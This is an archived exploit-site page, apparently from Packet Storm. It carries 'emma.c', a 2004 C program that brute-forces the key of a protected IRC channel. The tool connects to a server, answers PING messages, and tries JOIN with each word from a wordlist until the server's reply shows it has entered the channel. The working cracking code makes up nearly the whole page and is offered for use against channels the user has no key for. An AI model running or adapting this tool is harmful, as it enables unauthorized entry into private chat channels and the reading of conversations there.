evolve or die

emma.c

emma.c
Posted Apr 14, 2004
Authored by zorlag

IRC channel key cracking utility. It attempts to crack the key to a given channel by using words from a file.

MD5 | 43e2ab16958332492919b34a522573f4

emma.c

Change Mirror Download
/* emma.c - IRC channel key cracking utility
*
* by zorlag. (APR 2004)
*
* HI TO: angelo, dekadish, metoo &warlord ;)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define NICK "_emma"
#define IDENT "emma"
#define RLNAME "i is just too cute...."

#define TIMEOUT 10 /* timeout needed to read the motd from server */
#define DELAY 5 /* delay between each try. 5 should be perfect */

int main(int argc, char *argv[]){
char *ip, *port, *target, *bleh, *bleheh, *keylst, *key;
char buf[1024], channel[100], blah[100], blahah[100], lstbuf[512];
fd_set rfds;
FILE *fp;
int s, l;
struct sockaddr_in sock;
struct timeval tv;

if(argc != 4){
printf("usage: %s <serv ip[:port]> <target chan> <file>\n\n", argv[0]);
exit(0);
}

ip = strtok(argv[1], ":");
if((port = strtok(NULL, ":")) == NULL)
port = "6667";

target = argv[2];
snprintf(channel, sizeof(channel), "#%s", target);
keylst = argv[3];

if((fp = fopen(keylst, "r")) == NULL){
perror("fopen() failed");
exit(0);
}

if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket() failed");
exit(0);
}

sock.sin_port = htons(atoi(port));
sock.sin_family = AF_INET;
sock.sin_addr.s_addr = inet_addr(ip);

if((connect(s, (struct sockaddr *)&sock, sizeof(sock))) < 0){
perror("connect() failed");
exit(0);
}

printf("connected to %s:%s\n", ip, port);

snprintf(buf, sizeof(buf), "NICK %s\n", NICK);
write(s, buf, strlen(buf));
snprintf(buf, sizeof(buf), "USER %s skit skit :%s\n", IDENT, RLNAME);
write(s, buf, strlen(buf));

while(1){
FD_ZERO(&rfds);
FD_SET(s, &rfds);
tv.tv_sec = TIMEOUT;
tv.tv_usec = 0;
l = select((s+1), &rfds, NULL, NULL, &tv);

if(l){
read(s, buf, sizeof(buf));
printf("%s\n", buf);

bleh = strtok(buf, " ");
bleh = strtok(NULL, " ");
snprintf(blah, sizeof(blah), "%s", bleh);

if(strstr(buf, "PING")){
snprintf(buf, sizeof(buf), "PONG %s\n", blah);
write(s, buf, strlen(buf));
}

memset(buf, 0, sizeof(buf));
}else{
printf("breaking into %s\n", channel);

while(!feof(fp)){
sleep(DELAY);

if((key = fgets(lstbuf, sizeof(lstbuf), fp)) != NULL){
printf("trying %s", key);

snprintf(buf, sizeof(buf), "JOIN %s %s", channel, key);
write(s, buf, strlen(buf));
read(s, buf, sizeof(buf));
printf("%s\n", buf);

if((strstr(buf, "353")) && !(strstr(buf, "NOTICE"))){
printf("WE ARE IN\n");
exit(0);
}

bleheh = strtok(buf, " ");
bleheh = strtok(NULL, " ");
snprintf(blahah, sizeof(blahah), "%s", bleheh);

if(strstr(buf, "PING")){
snprintf(buf, sizeof(buf), "PONG %s\n", blahah);
write(s, buf, strlen(buf));
}

memset(buf, 0, sizeof(buf));
}
}

printf("FUCKING SHIT!\n");
exit(0);
}
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close